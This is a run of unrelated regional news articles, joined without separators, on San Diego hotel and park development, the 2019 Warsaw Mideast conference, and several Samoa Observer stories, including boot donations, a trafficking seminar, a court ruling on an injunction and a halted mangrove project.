During the same time period, Coronado generated $14.5 million in hotel tax revenues and that figure accounted for 24 percent of their overall revenues. In Del Mar, the $2.7 million of hotel tax revenues accounted for 20 percent of the citys total revenues. In Pismo Beach, a city with less than 9,000 people, hotel taxes generated $9 million, or about 70 percent of the citys overall tax revenues.

Although the city doesnt have hard data to connect the sewage-related beach closures to Imperial Beachs stunted growth relative to other coastal cities, Councilman West believes it is a factor.

People want to come to California because its nice and warm, but who wants to come to a beach that is closed? he asked. That definitely impacts it.

But despite the sewage spills, Imperial Beach has seen growth over the last decade. A growing number of mixed-use developments, condos, restaurants, breweries, shopping outlets and even hotels have opened in town.

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A big turning point was in 2014 when the Pacifica Company build a multimillion-dollar hotel and restaurant right on the beach.

That projects success showed how much Imperial Beach has changed over the years, said Colton Sudberry, CEO of the development firm behind the new Hampton Inn and a shopping outlet that opened on Palm Avenue in 2017.

Imperial Beach has become a totally different environment than it used to be as far as the people looking to invest in it, Sudberry said. You have the Pacifica Company build a beautiful hotel right on the water thats proved to be very successful.

The Hampton Inn should attract families and business travelers alike, Sudberry said. With the Navy base expanding in Imperial Beach, Sudberry said he could see government contractors working on the base staying in the hotel during the week and bring their families on the weekend for a short vacation.

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The hotel should also provide another hotel option for people priced out of the beachfront hotel.

I really believe it will cater to families who want to try to save some money, Councilman West said.

People who stay at the hotel can eat at a handful of restaurants located in a shopping outlet next door that Sudberry opened in October 2017.

That shopping center features a cafe, burger place, sandwich shop, poke restaurant, fast food franchises and a grocery store. While sales figures are confidential, Sudberry said the tenants are doing well.

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Everybody had high expectations and just about everybody is doing what they expected or better, he said.

Contact Gustavo Solis via Email or TwitterDeveloper Sunroad Enterprises was given yet another chance Tuesday to salvage its long-sought proposal for a Harbor Island hotel, but only on the condition that it beef up the design and build the project in a single phase.

San Diego Port Commissioners, some of whom had previous doubts about whether Sunroad was up to the task, had a change of heart and agreed to give the developer 120 more days to come up with an entirely new proposal for a hotel of between 450 and 500 rooms that could be designed as either one or two buildings. Sunroad had originally proposed a two-phased project, beginning with a 325-room hotel.

It was noted more than once during the hearing that the waterfront project has the potential to be a world-class destination, given its location on the bay, just across the way from the San Diego airport. As such, the ultimate design needs to be in keeping with that high bar, commissioners and port staff said.

I would say, what a difference a year makes, said Port Commissioner Michael Zucchet. A year ago, I and others had a lot of problems with this project, including lack of density, significant design issues and a lack of political viability at the Coastal Commission, which caused me to be in the camp of saying lets start over.

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Today, whats being proposed is 50 percent more dense than originally proposed, and there is optimism that Sunroad would be more responsive in the future. The evidence is how responsive theyve been now.

Tuesdays vote to give the developer more time to submit an entirely new hotel proposal marks the eighth extension over the course of nearly two years that the San Diego Unified Port District has granted Sunroad, a longtime port tenant. The port action, while it extends an exclusive negotiating agreement with Sunroad, it doesnt guarantee that the project is a done deal.

Whatever comes back to us is not rubber stamped, stressed Port Commissioner Dan Malcolm. Well be looking at it and expect to be very impressed by the quality, look, the feel, the view corridors, the public realm.

Commissioners are stipulating that the design include mini destination areas, like restaurants, outdoor cafes and public art, to entice people to walk through the 7-acre East Harbor Island site. Yet another condition is that the future hotel be affiliated with an upscale brand like Marriotts Aloft hotels, Hyatt Place, or Hiltons Curio Collection.

If all goes well, including a months-long environmental review, and the California Coastal Commission signs off, it could still be close to two years before Sunroad could break ground on the project.

I think what the port is proposing is a project that can get done, said Sunroad President Uri Feldman, whose firm recently hired a new architect. I now have to design a project that will fit within their parameters.

Tuesdays action follows surprising news last week that developer OliverMcMillan had decided to walk away from a $361 million plan to build hundreds of hotel rooms and an urban village on an adjoining 35-acre East Harbor Island site. Sunroad, which had originally been in contention for that site as well, was instead selected by port commissioners in 2016 to focus only on the adjacent site known as the elbow parcel.

Commissioner Ann Moore said she was especially concerned that the Sunroad project not foreclose opportunities on the larger site and initially secured a commitment from Feldman to separately develop a high-level vision for East Harbor Island. The commissioners, though, did not make that a requirement.

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This has been the last issue Ive had, how this fits into the bigger picture, Moore said. I dont want to preclude us from doing something valuable on the rest of the parcel.

Tony Gordon, the ports director of real estate, said the staff would be returning to the board in the next couple of months with options for addressing the rest of East Harbor Island, including the possibility of issuing a new request for proposals from developers.

Feldman said after the meeting he doesnt know yet if his company would still be interested. It would depend, he said, on what the port ultimately decides it wants.

The commissioners insistence that the Sunroad hotel now be developed in a single phase is intended to clear the way for a smoother approval process that would not need an extra layer of approval from California Coastal Commissioners. The port districts master plan, which already has the blessing of the Coastal Commission, allows for a high quality hotel of 500 rooms.

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What still remains unclear, though, is whether a hotel built with two buildings instead of one would require a change to the master plan, thereby requiring a hearing before the Coastal Commission. The coastal staff currently believes the project has to be contained within a single building.

Sunroad said it would be evaluating both one-building and two-building options to determine which is more financially feasible. The intent is to have that analysis fairly well complete by the time Sunroad returns in four months with a new design proposal.

I dont want to get into another fight with the Coastal Commission, and then a port master plan amendment would be required, Moore said.

Efforts by the port and Sunroad to secure approval to build hotel rooms on Harbor Island have a long and tortured history going back at least a decade. A previous Sunroad proposal for a 175-room hotel on its marina leasehold failed to advance after repeated denials from the Coastal Commission. The agency was less troubled by the hotel project itself than by what it saw as the ports resistance to reserving more of its state tidelands for lower-cost lodging.

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What ensued was a protracted legal battle over the Coastal Commissions right to demand the lower-cost accommodations.

An appellate court ultimately concluded that the Coastal Commission was within its right to reject plans to develop up to 500 hotel rooms on East Harbor Island because they did not include lower cost overnight accommodations. To date, Sunroad has not proposed including an affordable component in its project.

The issue of affordable lodging in connection with the Sunroad hotel remains an open question, Gordon said Tuesday.

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Business

lori.weisberg@sduniontribune.com

(619) 293-2251

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Twitter: @loriweisbergWith fundraising efforts officially suspended, the city of San Diegos years-long  and hotly contested  effort to replace roads in Balboa Park with pedestrian-friendly parkland is now a no-go.

The Plaza de Panama project, as its called, sought to divert car traffic from the Cabrillo Bridge and create an underground parking garage with a landscaped rooftop. But project leaders in recent weeks decided to pause all forward progress after millions in construction cost overruns made it financially untenable.

A nonprofit committee, chaired by project champion and Qualcomm co-founder Irwin Jacobs, voted on Jan. 30 to cease fundraising efforts and terminate existing contracts, said Jim Kidrick, the Plaza de Panama Committees fundraising chair. The decision was then communicated to Mayor Kevin Faulconer, who Tuesday said he accepted the groups conclusion and also vowed to spend money on park repairs.

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The success of the Plaza de Panama project has always depended upon the generous donations of the philanthropic community, and given the significant escalation in construction costs due to legal delays I respect the committees decision not to move forward at this time, Faulconer said in a statement shared via Twitter. The city is fully committed to strengthening Balboa Parks position as the cultural heart of San Diego.

Initially approved by City Council in 2012 (and re-approved with a bigger budget in 2016), the plan represented a joint effort between the city and the committee formed by Jacobs, with costs shared by both. Plaza de Panama called for an extra 6.3 acres of parkland at Balboa Park, primarily by removing cars from park plazas and diverting away from Cabrillo Bridge. Rather, the project directed cars over a proposed bypass bridge. It also envisioned a landscaped, underground parking garage near Spreckels Organ Pavilion.

But the project faced intense opposition from the start. Both Save Our Heritage Organisation and San Diegans for Open Government sought to kill it through the courts. Still, after a few false starts, Plaza de Panama appeared back on track late last year when the city began soliciting for construction. In January, three construction firms submitted bids well over budget. Even the lowest submission had a baseline construction price tag of $83.5 million  or $8.5 million more than the construction cost approved by City Council in 2016. When including all potential line items, the bids ranged from $101.7 million to $117.9 million.

As everyone is aware, weve seen the bids come in over the amount we had hoped for, Kidrick, the committee spokesman, said. The project has been needlessly delayed over time through frivolous lawsuits. We came to the realization that we may need to fund the project in the future.

Kidrick was reluctant to label the project dead, preferring to use the phase on hold. But the committee, he noted, is no longer spending money on Plaza de Panama as of the Jan. 30 vote, meaning active fundraising efforts have stopped, the lawyers are no longer on retainer and KCM Group, the construction management firm that had been hired, is off the project.

Should an unexpected benefactor appear before the construction bids expire on April 28, Plaza de Panama could be resuscitated, although City Council would still need to approve the expanded budget. After the April deadline, any new funding sources would still require the city to solicit for new bids.

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jennifer.vangrove@sduniontribune.com (619) 293-1840 Twitter: @jbruinWARSAW, Poland (AP)  The Mideast conference in Poland that started Wednesday offers Israeli Prime Minister Benjamin Netanyahu an opportunity to flaunt in public what he has long boasted about happening behind the scenes  his country's improved relations with some Gulf Arab nations.

Several Gulf dignitaries are expected to attend in a potential show of force against uninvited Iran. But the Palestinians are urging a boycott of the conference, and it remains to be seen whether Arab officials will make any public overtures to Netanyahu without a major concession to the Palestinian cause, which still animates the Arab public.

The United States and Poland are sponsoring the conference in Warsaw, which they say is aimed at promoting peace and security in Mideast but appears to be mainly focused on isolating Iran.

Iran has denounced the gathering as an American anti-Iran "circus." Russia has said it will not attend, and the European Union's foreign policy chief, Federica Mogherini, is also skipping the event.

For the Trump administration, it is a high-profile occasion to gather all its Middle East allies. For Poland, it offers a chance to strengthen ties with Washington as it seeks greater protection from Russia.

But the real winner could be Netanyahu, who has repeatedly stated that Israel has clandestinely developed good relations with several Arab states, despite a lack of official ties. Bringing such contacts out into the open would mark a major diplomatic coup, put a seal of approval on his goal of improving Israel's standing in the world and provide a powerful photo-op for his re-election campaign ahead of the April vote in Israel.

Netanyahu's office released a video Wednesday showing him meeting Oman's foreign minister, Yusuf bin Alawi. Netanyahu, who visited Oman last October, called the invitation to the Gulf state "courageous" and said "many" countries are following Oman's lead, hinting that additional meetings would take place during the conference.

Bin Alawi said people in the Middle East have "suffered a lot" because they stick to the past and said Wednesday's meeting reflected a "new era."

Before departing for Poland, Netanyahu told reporters on Tuesday the focus of the conference will be Iran, an issue he said "unites Israel, the United States, many countries in the world."

Danny Danon, Israel's U.N. ambassador, said his private contacts with Arab officials are far warmer than what is said in public.

"As of now, they are already cooperating with us," he told reporters in Jerusalem recently. "We ask them to recognize us and not to be ashamed for using our technology or our defense systems."

Israel has signed peace accords with Egypt and Jordan, but other Arab nations have refused to publicly improve relations without significant progress being made toward ending Israel's half-century occupation of lands sought for a Palestinian state.

But as shared concerns about Iran have overshadowed the Palestinian issue in recent years, ties that have long lingered in the shadows have begun to emerge.

Days after Netanyahu's visit to Oman, two of his Cabinet ministers headed to the United Arab Emirates last fall for a security conference and to cheer on an Israeli delegation at a judo tournament  where the Israeli anthem was played after an Israeli competitor won gold.

Saudi Arabia, long rumored to have backdoor ties to Israel, lifted a decades-long ban on the use of its airspace for flights to Israel last spring. The leaders of the small Gulf nation of Bahrain have also expressed willingness to normalize relations.

Gulf Arab states have given less voice to their traditional antipathy toward Israel as they have grown increasingly fearful of Iran over its involvement in various regional conflicts and its support for various armed groups. Getting closer to Israel also helps them to curry favor in Washington.

But with Arab public opinion still strongly against normalization with Israel, this week's conference is unlikely to produce warm engagement right away, said Yoel Guzansky, a senior researcher at Israel's Institute for National Security Studies.

"Covert meetings already exist, and the 'under-the-table' relations are the world's worst kept secret, so I don't see what the Arabs would gain from shaking hands," he said. "The point is to see everyone in the same room as a united front against Iran. But the Arab street is still nowhere near where the elites are regarding Israel, and too strong an embrace could draw fire."

The foreign ministers of Saudi Arabia and the UAE are scheduled to attend and meet with U.S. Secretary of State Mike Pompeo. It is unclear what their level of engagement will be with the Israeli delegation.

Netanyahu recently visited the Muslim-majority African nation of Chad to officially restore relations after 50 years and promised there would be more such visits and announcements soon.

President Donald Trump's senior Mideast adviser, son-in-law Jared Kushner, has been working on an Israeli-Palestinian peace plan for close to two years, but has not yet released details. U.S. officials say Kushner is expected to make some comments in Warsaw about the conflict, but Netanyahu said he doesn't expect any discussion of the peace plan.

The Palestinians have pre-emptively rejected the plan, accusing the Trump White House of being unfairly biased toward Israel. They've also asked Arab countries to boycott or downgrade their representation at the conference in Poland.

"We view the Warsaw conference as a plot against the Palestinian cause," Palestinian Foreign Minister Riad Malki said this week.

Palestinian President Mahmoud Abbas met with Saudi King Salman on Tuesday, who expressed his "permanent stand" in favor of a Palestinian state with east Jerusalem as its capital, according to the official Saudi news agency.

Further tempering expectations, an Israeli TV channel obtained what it said was a secret Foreign Ministry report concluding it was very unlikely Saudi Arabia would normalize relations with Israel without a major concession to the Palestinians. The report, aired on Israel's Channel 13 news, quotes a senior official as saying the narrow window for a breakthrough with the Saudis had closed.One morning, Jo Mikarnas friend in Samoa, a newly appointed landscaper, called Ms Mikarna with a request: on her next trip to Samoa, could she bring him a pair of work boots?

Ms. Mikarna is a policewoman in Victoria Police, Melbourne, and here in Samoa earned the nickname the prolific tourist for making trips to Samoa nearly every eight weeks.

I told him, I cant afford boots, but I did look around the office, and I realised yes, I can get you some boots!

She quickly realised how many unused pairs of perfectly good work boots are waiting to be recycled out of Police stations. So from her branch in Melbourne, to every department across the state, she has managed to bring not one pair, but 4000 pairs of work safe boots to Samoa, and 500 trousers too.

She wants them distributed around vulnerable and low-income farmers, who do not have the hundreds of tala needed for boots to protect their feet from the elements.

I had set a goal of a thousand. I took the one pair to my landscaper, and it grew to 4000 and now weve got pants as well.

Were looking at AUS$1.6 million dollars worth in that container right now.

While in Australia, the boots are weeks away from a date with a commercial shredder, to be recycled into more shoes. Here in Samoa, the boots are destined for a more honourable cause, both environmental and social.

Were protecting the kids feet in the sense that they wont need hospitals as quickly if they are standing on things, said Ms Mirkana.

The boots are of high quality, and not rubbish being thrown away by Victoria Police, Ms Mikarna said.

Police moving through different roles leave many boots unused, which means they are perfectly usable today. Ms Mikarna said she has had her own pair for more than 10 years and they are in great condition, and said they suit the Samoan climate perfectly.

I follow Samoa Observer and I have asked that we get a list of the people you put in the paper regularly, and [MAF] will help me go around and get to them, because they are the ones I want to help.

I have explained to the Agriculture Minister and his team that if his staff or if other people are seen wearing these boots and theyre not in the right industry, its not looking good.

These are for the vulnerable, who cant get to the extra money.

Ms Mikarna said she was pleased to hear how seriously Prime Minister Tuilaepa Dr Sailele Malielegaoi is taking the project, going so far as to say he will proof read the list of recipients himself.

The collection for 2020 has already begun. Ms Mikarna already has 30 pairs of boots waiting to get to Samoa, and she would like to give them to the Fire and Emergency Services Association (FESA).

A line of communication between Victoria Police and the Samoan community has been opened, and Ms Mikarna said she is very proud of that.

Because of her work bringing resources to farmers and their families, Ms Mikarna has been in conversations with Samoas Police Commissioner Fuiavailili Egon Keil about potential partnerships with Victoria Police.

We do have Samoan naughty boys back home, so maybe we can work together to understand the culture and how we can solve our problems as well.

Its so huge, its grown from one little phone call to benefitting the whole community.

And if the shoes and trousers werent enough, Ms Mikarna packed the empty corners of the container with toys and games for children. She and her friends will visit kindergartens and playschools across Upolu over the next few days to distribute them for free.

We closed the container at 9:30 and we finished at 8:30, so we raced to the supermarket and spend over 2000 tala in childrens toys to fill in the gaps, she said.

One of Ms Mikarnas supporters, who helped get the container to Samoa is Patrick Aumua, who is also the Chair of the Samoan Community Leadership Network in Melbourne. He said its good to see the farming industry get a sorely needed health and safety boost.

I think Jo is making a great change to the farming industry, Mr Aumua said.

Sometimes we Samoans can be afraid of change, but this is a good thing.

I hope the families who receive this help will appreciate what it can do for them.

To congratulate Ms Mikarna on behalf of her home country, Australian High Commissioner Sara Moriarty attended the ceremony. She said is proud of what Ms Mikarna achieved.

I think its a really great example of someone who has visited here, and gone away and worked really hard to get resources together and make a big difference in peoples lives, Ms Moriarty said.

And not only does it provide the boots but it is enhancing the relationship at the community level between the Ministry of Agriculture and the Victoria Police and thats good as well.A young male from Vaiala and Vini-fou has a dream of making it as an actor and is willing to go the extra mile to achieve his dream.

Iosefa Enari, 21, is seeking financial help from the public to help him pursue his dream by studying at the Toi Whakaari Drama School in New Zealand.

I am raising money so I can get into drama school in New Zealand for it is my dream to become an actor, he tells the Samoa Observer.

I left Samoa to go to New Zealand to audition I am happy to announce that I got in.

Mr. Enari told the Samoa Observer he found out about the school from a cousin who encouraged him that it was the best drama school in New Zealand.

He researched the school right away and started sending them emails.

He almost lost his chance because he ran out of data and his messages did not get through.

It wasnt sent until the next week when a notification popped up that my message has just been sent and I thank God it did, he said.

I received an email from the school on Sunday that audition starts on the next Sunday. I was happy and nervous at the same time because we had to look for money to be there.

Mr. Iosefa travelled to New Zealand for his audition and made it.

Now he needs to raise funds for his fees and travel. He has started fundraising online where people are encouraged to donate as much as they want.

While he was able to get a scholarship, the award covers 70per cent of his $28,000 fee.

I am the first Samoan coming out of Samoa to make it in this school but sadly the scholarship only covers 70% of my 28,000 fee and that means I have to pay 30per cent.

School for Mr. Iosefa starts tomorrow.The changing role of Pacific countries when it comes to human trafficking and people smuggling was highlighted at the Tanoa Tusitala yesterday.

Traditionally referred to as a transit destination, the question was raised whether the Pacific has now become the source and destination countries for these growing global problems.

The point was made by Agafili Shem Leo, Chief Executive Officer for the Ministry of the Prime Minister and Cabinet, when he opened a regional seminar on addressing Challenges of Human Trafficking and People Smuggling in the Pacific.

Human trafficking and people smuggling are a serious global immigration problem in the 21st century. It respects nobody, knows no boundaries, and transcends international borders, Agafili said.

Today, every country and region in the world is affected by human trafficking and people smuggling whether as a country of origin, transit or destination."

The Pacific has always been referred to as a transit destination, but in todays changing migration landscape is beginning to raise serious questions about these general categorisations whether Pacific Islands are still transit countries or should we now be regarded as source and destination countries.

The workshop is being organised by The Pacific Immigration Development Community (PIDC).

At the opening, Agafili spoke about the seriousness of human trafficking and people smuggling as a global immigration problem, where every country and region in the world is affected.

The leaders of the Pacific Island Forum have recommitted to prioritizing regional security as one of the pillars of the framework for Pacific regionalism through the endorsement of the Boe Declaration in Nauru last year; recognizing the importance of peace, harmony, security, social inclusion and prosperity in the region so that everyone lives freely, healthy and productively, he said.

He also revealed the steps taken by Samoa to address the issue.

For Samoa, government has approved policy guidelines to address trafficking in human beings (THBs) and smuggling of migrants (SoMs)."

The trend is very low for Samoa but because of the fast changing nature and complexity of transnational crimes to date, government has moved to ensure that clear and robust guidelines are put in place."

As border officers from the Pacific region, in close collaboration with our partners, we should be equipped to articulate and to translate into practice this regional security commitment, he said.

According to Agafili, our borders are becoming more vulnerable to organized transnational crimes.

With the limited resources we have in our small economies, there is a great concern on the depth and effectiveness of our border control against organized and complex transnational crimes."

That is why we need genuine partners to work with us to extinguish the forces of darkness fuelled by the criminal minds, he added. The seminar is being attended by senior immigration officers from across the region including a number of Directors and is supported by experienced experts from the International Organisation for Migration, United Nations Office for Drugs and Crime, Bali Process Regional Support Office, UN High Commissioner for Refugees and experts from the PIDC membership."

The seminar provides an important opportunity to brings together immigration officers responsible for managing the complex movement of people in the Pacific to share lessons and experiences of human trafficking and people smuggling occurring through our shared borders.

It provides an opportunity for members to contribute to the development of a regional PIDC framework to combat transnational crime networks that undertake human trafficking and people smuggling activities in the region.

Regional stakeholders will look to develop a better understanding of national and regional immigration activities required to effectively combat people smuggling and human trafficking in the Pacific and find common ground to better coordinate activities for immigration departments in the Pacific.

Seminar participants are expected to develop a draft framework with supporting recommendations for possible consideration and endorsement by PIDC Members at the organisations Regular Annual Meeting to be hosted by the Cook Islands Immigration in June 2019.An interim injunction against the construction of a residential property belonging to the family of a senior Cabinet Minister, Papalii Niko Lee Hang, has been lifted by the Supreme Court.

The decision was delivered by Justice Tafaoimalo Leilani Tuala-Warren yesterday.

Business couple Komisi and Sala Lupe Chan Mow had opposed an application to lift the injunction taken out to stop the construction of the two-storey building belonging to the family of the Minister of Works, Transport and Infrastructure.

Lawyer Muriel Lui represented the Ministers family while Sala Josephine Stowers represented Mr. and Mrs. Chan Mow.

In delivering her decision yesterday, Justice Tafaoimalo encouraged the parties to find a friendlier solution.

The parties will most likely be neighbours for the foreseeable future, Justice Tafaoimalo told the Court.

I encourage them to find an amicable solution to their dispute. The application to set aside the interim injunction dated 24 December 2018 is granted. The interim injunction dated 24 December 2018 is set aside forthwith.

In her decision, Justice Tafaoimalo said she is satisfied that the balance of convenience does not favour the continuation of the interim injunction issued against the residential house.

The applicant has said in his affidavits that he has suffered significant financial losses and damages due to the length of time his work has been on hold, and it is costly to him as he has contractual obligations to his builders, the decision reads.

There is nothing to contradict this claim by the applicant. The affidavits by Sala Lupe Chan Mow are primarily directed towards the supermarket and touch vaguely on further houses and pressing impacts.

Below is Justice Tafaoimalos decision in full:

RESERVED DECISION OF TUALA WARREN J ON APPLICATION TO SET ASIDE INTERIM INJUNCTION

Background

1. The parties are adjoining land owners at Vaoala. The Applicant has built a supermarket and was building a residential house on his land when an interim injunction was issued to stop the residential house on 24 December 2018. The residential house was being built behind the supermarket. The Applicant has been granted a development consent by the Planning and Urban Management Agency (PUMA) dated 22 November 2018 to build his residential house. The development consent is valid for 2 years. The Applicants completed supermarket is the subject of a pending claim by the Respondents in nuisance.

2. An application to set aside the interim injunction (the Application) which has been issued against the residential house was filed on 7 January 2019 by the Applicant.

The Application

3. The application is brought on the following grounds;

a. The facts upon which the interim injunction is based are inaccurate and therefore the interim injunction was unfair. The alleged facts are;

i. The Applicants developments (including the supermarket) are unlawful and unapproved whereas both the supermarket and the residential property have developments consents from PUMA;

ii. The Respondents will continue to suffer amenity issues as a result of the current development being the residential property, whereas the residential property is located at the back of the property and does not adjoin the Respondents house;

iii. There is a health impact report supporting their claims whereas a health impact report was not submitted as part of the application for an interim injunction and is dated after the grant of the interim injunction. The Applicant further says that the report concerns the supermarket and not the residential property and in any event only makes recommendations about further action to be taken by the Respondents to support their claim;

iv. The Respondents have some legal right to a view, whereas there is no such legal right; and

v. The supermarket and the residential property are the same development whereas the two are separate developments.

b. The interim injunction is an abuse of process because the Respondents rely on the pending case against the supermarket, whereas the residential property is a separate development with a separate location relative to the Respondents home, and a separate development consent. There are no grounds and no causes of action against it.

4. Accordingly, the Applicant seeks to set aside the interim injunction granted on 24 December 2018.

The Opposition

5. The Respondents oppose the Application on the grounds;

a. There are current proceedings before the Supreme Court with regards to the development of the Applicants supermarket being built without due compliance with sections of the PUMA Act;

b. The residential home is being built at the back of the supermarket;

c. The legal action before the Supreme Court filed against the Applicant alleges nuisance and failure to comply with the PUMA Act as a result of the Applicants supermarket;

d. The building of the Applicants two storey residential building behind the supermarket will continue to add nuisance to the Respondents;

e. The current developments are not in compliance with ss37 and 46 of the PUMA Act because the works started without a development consent from PUMA and therefore the Respondents are challenging the validity of the development consent from PUMA;

f. They objected to the development of the Applicants residential property and that discharges their obligation as objector pursuant to section 45 of PUMA Act; and

g. It is in the best interests of justice that the interim injunction continues until the above issues are resolved.

Relevant Law

6. In AB v MN [2017] WSSC 79, Sapolu CJ set out the law in relation to an application to set aside an interim injunction;

(a) Jurisdiction to rescind an interim injunction

63. An interim injunction is an equitable remedy which lies in the inherent equitable jurisdiction of the Court. Just as the Court has an inherent equitable jurisdiction to grant an interim injunction, it should also have the same jurisdiction to rescind or discharge an interim injunction. In Harbottle (Mercantile) Ltd v National Westminister Bank Ltd [1978] 1 QB 146, 158, Kerr J said:

 The Courts have a discretion to grant interlocutory injunctions wherever it is just or convenient to do so. They must equally have an inherent jurisdiction to discharge them on the same basis when the matter comes back to them for a further order.

64. In the New Zealand case of West Harbour Holdings Ltd v Waipareira Investments Ltd [2013] NZHC 402, para [11], Venning J said:

 [Where] the order is regarded as of an ongoing nature or obligation, as in the case of an injunction, the Court has accepted it has inherent jurisdiction to rescind or vary the order should circumstances change...It appears that the orders setting aside or varying orders for security have been made in the exercise of the Courts jurisdiction on a similar basis.

65. In Electrical Equipment Co Ltd v Pace Network Services Ltd [2006] NZHC 76, para [32], Allan J said:

 [32] It therefore becomes necessary to turn to the inherent jurisdiction of the Court. It is not in dispute between the parties that in the absence of contrary legislation the Court has an inherent power to control its own procedures: Ryde Holdings Ltd v Sorrenson (1995) 8 PRNZ 339, 345. The inherent jurisdiction of the Court to review the terms of an interim injunction was discussed by Greig J in Foodtown Supermarkets Ltd v Tse (1987) 2 PRNZ 545, 546:

 There remains, however, a coexistent right in the case of a continuing order like an interim injunction to apply for its dissolution or rescission and that is not curtailed by the rules of the High Court that I have mentioned or the rule against review or reconsideration. It is, I think, consistent with the nature of an interim injunction which is a temporary but continuing matter restraining, for the time being and until the resolution of the substantive proceeding, any further or particular action or conduct by the defendant. The defendant must be entitled, without having to go to the Court of Appeal, to seek rescission of the order and a variation of it should the circumstances change and so require in justice that rescission or variation. Moreover, such an order, as was done in this case, is made subject to the further order of the Court so that it remains within the purview and authority of the Court to supervise and to vary or to rescind the order as circumstances require.

66. With respect to counsel, there is nothing in the Supreme Court (Civil Procedure) Rules 1980 which provides jurisdiction for bringing a motion to rescind, discharge, or vary an interim injunction. Rule 197 provides only the procedure to be followed in a motion to rescind an ex parte order. The motion to rescind the interim injunction in this case would therefore have to be considered on the basis of the Courts inherent jurisdiction.

70. In the usual motion to rescind an interim injunction granted ex parte, the approach that has been applied is whether there is not a serious question to be tried or that the balance of convenience does not favour the granting of the interim injunction. Such an approach was applied in Dive and Fly Ltd v Schmidt [2006] WSSC 40 to a motion to set aside an ex parte interim injunction. The same approach was also stated in The Proprietors of Otakanini Topu Block v Uruamo [2007] NZHC 404, para [14], where Rodney Hansen J said:

 [14] The interim injunction may be rescinded if the defendants can show that there is not a serious question to be tried and/or that the balance of convenience does not favour the grant of an injunction.

Discussion

7. The test therefore to be applied to this application is whether there is not a serious question to be tried and/or that the balance of convenience does not favour the granting of the interim injunction.

Whether there is not a serious question to be tried

8. In relation to the residential property, PUMA is named as a party in the Motion for an Interim Injunction. The order is worded;

This Court doth hereby order that the development of the two(2) storey building at Vaoala, Planning and Urban Management Agency which is carried out by the Second Respondent Papalii Niko Lee Hang be stopped immediately until the Respondent fulfills the issues raised by the Applicants.

9. The interim injunction was issued against the Applicant, and not PUMA as Sapolu CJ noted that an interim injunction cannot be issued against government under the Government Proceedings Act 1974.

10. The starting point for this assessment is that the residential property has been granted a development consent by PUMA. This is not disputed although the Respondents say they challenge the legality of the development consent. This challenge is also directed at PUMA in relation to the supermarket.

11. The submission by the Respondents is that the two storey building which is the residence is part of the development which includes the supermarket and therefore as there is a pending case between the parties in relation to nuisance and the supermarket, this injunction should remain. The exact wording of their ground of opposition is that there are current proceedings before the Supreme Court with regards to the development of the Applicants supermarket being built without due compliance with sections of the PUMA Act, and the building of the Applicants two storey residential building behind the supermarket will continue to add nuisance to the Respondents.

12. The Statement of Claim dated 18 December 2018 (SOC) which is attached to the Motion for interim injunction dated 18 December 2018 states;

5. That in addition to the current legal proceedings before the Supreme Court as a ground, the Plaintiffs will also suffer amenity issues such as obstruction of view, blockage of air space and light as a result of the proposed development.

13. With respect, I am unable to find a cause of action in this SOC. I am also having difficulty understanding this submission. Both buildings have their own development consents. No separate cause of action is brought against the residential building in relation to nuisance. It is rather being included as an extension of the supermarket when clearly it is not. The residential home is being built at the back of the supermarket.

14. The concerns expressed by Sala Lupe Chan Mow in her affidavit and supplementary affidavit are the amenity issues raised predominantly in relation to the supermarket. The health impacts as per the Report provided by the Ministry of Health are in relation to the supermarket. The Respondents argue that these issues should be extended to the residential property. I am not persuaded by this argument.

15. The Respondents say that the current developments are not in compliance with ss37 and 46 of the PUMA Act because the works started without a development consent from PUMA and therefore the Respondents are challenging the validity of the development consent from PUMA. Issues surrounding the issuance of the development consent by PUMA is with respect, an action against PUMA. That the development consent was obtained when 30% of the work was completed is a matter PUMA has taken into account (as seen in the Notice of Decision dated 22 November 2018). That the Respondents objected to the development of the Applicants residential property, is with respect, a matter for PUMA. The Applicants residential home has the approval of PUMA via the development consent.

16. I find that in relation to the residential home, there is not a serious question to be tried. I cannot find issues separate from the supermarket pertaining to the residential property. A general attempt to connect the two will not suffice. The commercial building being the supermarket is very different from the residential building as seen in photos submitted by the Respondents.

17. I make no comment in regards to the merits of the claim against the supermarket in this ruling as there are current proceedings before the Court.

18. I am further not convinced that obstruction of view, and blockage of air space and light in the SOC, are causes of action. There are no facts pleaded to support this or any cause of action against the residential home.

The Balance of Convenience

19. I am also satisfied that the balance of convenience does not favour the continuation of the interim injunction issued against the residential house. The Applicant has said in his affidavits that he has suffered significant financial losses and damages due to the length of time his work has been on hold, and it is costly to him as he has contractual obligations to his builders. There is nothing to contradict this claim by the Applicant. The affidavits by Sala Lupe Chan Mow are primarily directed towards the supermarket and touch vaguely on further houses and pressing impacts.

Result

20. The parties will most likely be neighbours for the foreseeable future. I encourage them to find an amicable solution to their dispute.

21. The application to set aside the interim injunction dated 24 December 2018 is granted. The interim injunction dated 24 December 2018 is set aside forthwith.

22. Counsel to file Memoranda as to costs within 14 days if they cannot agree.

____________________

TUALA-WARREN JA villages proposed mangrove replanting project has been halted after a Chinese businessman began reclaiming land, which were earmarked for the project.

Vaigaga village on the northwest coast of Upolu had agreed to do a mangrove replanting programme, in a bid to mitigate the effects of climate change, and submitted a proposal to the United Nations Development Programmes Small Grant Programme last year for funding support.

But the Vaigaga Village Council discovered that businessman, Tuituioaiga Teeking Weng, had begun to reclaim some of the land that the village had included in its proposed project.

Local Member of Parliament, Leatinuu Wayne Sooialo, told the Samoa Observer that the village council was disappointed with the businessmans actions and lodged a complaint with the Ministry of Natural Resources and Environment (M.N.R.E.).

We are waiting for our application that was submitted to U.N.D.P. and then the village was complaining about the reclamation project, and we saw it when we conducted a site visit hence filing an official complaint with the M.N.R.E."

Our application for funding was submitted by the Vaigaga Komiti to the UNDP  for funds through the Small Grant Program to replant mangroves  and then we find out there has been reclamation in this area, he said.

Following the lodgment of the complaint, MNRE Assistant CEO (Planning and Urban Management), Fetoloai Yandall Alama, told this newspaper recently that Tuituioaiga was issued a stop order in September last year. The Ministry also gave the businessman a development consent permit, which Fetoloai said is to build a fence around his property and is not for land reclamation.

Despite the intervention by the MNRE through the stop work order, Tuituioaiga was adamant  in an interview with this newspaper  that the reclaimed land is his and the stop order is for rubbish that he tried to dispose on his land.

The stop order was for the trash, and we have already removed the rubbish to Tafaigata area and they (MNRE) think that we buried the trash here."

I know did not get a permit because the reclaim was inside and not outside. Again, I took rubbish to be buried there, but people complain and then MNRE came to check and said that this type of building material cant be buried there. And I already moved the rubbish to Tafaigata and this is inside the fence, he said.

Ofusina Ieremia of the UNDP has confirmed that a proposal for the replanting of mangroves is pending with the Small Grants Program.

The proposal is on hold due to some issues thats left unresolved in the village. The MNRE and PUMA are working with the community in resolving these issues, she said.

